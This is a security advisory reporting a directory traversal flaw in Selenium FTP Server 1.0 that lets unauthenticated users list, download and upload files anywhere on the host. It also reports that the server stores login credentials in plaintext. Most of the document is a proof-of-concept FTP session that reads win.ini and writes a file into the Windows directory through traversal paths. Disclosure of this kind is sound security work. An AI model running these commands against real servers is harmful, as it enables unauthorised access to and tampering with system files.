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Selenium FTP Server Directory Traversal

SUMMARY

<http://bibasoftware.com/?page_id=15&gt; Selenium FTP Server is vulnerable
to a directory transversal input validation error in which a remote
unauthenticated user can issue using the DIR, LIST, NLST, etc commands to
display any file on the remote server or use the GET/RECV command to
retrieve any file outside the FTP root and the PUT/SEND to write to any
location on the remote server.

DETAILS

Vulnerable Systems:

• Selenium FTP Server version 1.0

Proof of concept:
C:\LinaresExploits\>ftp localhost
Connected to GregL-WS.
220 Selenium Server FTP (http://bibasoftware.com)
User (GregL-WS:(none)):
331 Password required for .
Password:
230 User logged in.
ftp> dir \windows
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw- 1 ftp ftp 0 Nov 14 15:53 WINDOWS
226 File sent ok
ftp: 63 bytes received in 0.02Seconds 3.94Kbytes/sec.
ftp> dir \windows\*.exe
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 68096 May 02 2005 agrsmdel.exe
-rwxrwxrwx 1 ftp ftp 44544 Jun 02 1998 clspack.exe
-rwxrwxrwx 1 ftp ftp 1032192 Aug 04 2004 explorer.exe
-rwxrwxrwx 1 ftp ftp 10752 May 26 2005 hh.exe
-rwxrwxrwx 1 ftp ftp 306688 Oct 29 1998 IsUninst.exe
-rwxrwxrwx 1 ftp ftp 112640 Jul 01 2001 lsb_un20.exe
-rwxrwxrwx 1 ftp ftp 69120 Aug 04 2004 notepad.exe
-rwxrwxrwx 1 ftp ftp 69120 Aug 04 2004 notepad1.exe
-rwxrwxrwx 1 ftp ftp 146432 Aug 04 2004 regedit.exe
-rwxrwxrwx 1 ftp ftp 46352 Feb 28 2003 setdebug.exe
-rwxrwxrwx 1 ftp ftp 286720 Sep 07 14:10 Setup1.exe
-rwxrwxrwx 1 ftp ftp 32866 Aug 04 2004 slrundll.exe
-rwxrwxrwx 1 ftp ftp 46592 Aug 02 2002 SOUNDMAN.EXE
-rwxrwxrwx 1 ftp ftp 73216 Sep 07 14:10 ST6UNST.EXE
-rwxrwxrwx 1 ftp ftp 15360 Aug 04 2004 taskman.exe
-rwxrwxrwx 1 ftp ftp 90624 Oct 27 13:22 tsuninst1.exe
-rwxrwxrwx 1 ftp ftp 49680 Aug 04 2004 twunk_16.exe
-rwxrwxrwx 1 ftp ftp 25600 Aug 04 2004 twunk_32.exe
-rwxrwxrwx 1 ftp ftp 299520 Mar 23 1999 uninst.exe
-rwxrwxrwx 1 ftp ftp 107134 Apr 04 08:06 UninstallFirefox.exe
-rwxrwxrwx 1 ftp ftp 86016 Dec 17 1999 unvise32.exe
-rwxrwxrwx 1 ftp ftp 256192 Aug 04 2004 winhelp.exe
-rwxrwxrwx 1 ftp ftp 283648 Aug 04 2004 winhlp32.exe
226 File sent ok
ftp: 1557 bytes received in 0.03Seconds 50.23Kbytes/sec.
ftp> get …\windows\win.ini C:\mine.txt
200 Port command successful.
150 Opening data connection for …\windows\win.ini.
226 File sent ok
ftp: 1039 bytes received in 0.00Seconds 1039000.00Kbytes/sec.
ftp> put C:\mine.txt …\windows\toobad.txt
200 Port command successful.
150 Opening data connection for …\windows\toobad.txt.
226 File received ok
ftp: 1039 bytes sent in 0.00Seconds 1039000.00Kbytes/sec.

Furthermore the software improperly writes any username/password that
might be used to login to the program in plaintext to the file[s] stored
in the default directory of C:\Program Files\BiBa SOFTWARE\Selenium
Server\Servers

ADDITIONAL INFORMATION

The information has been provided by <mailto:[email protected]>
Greg Linares.

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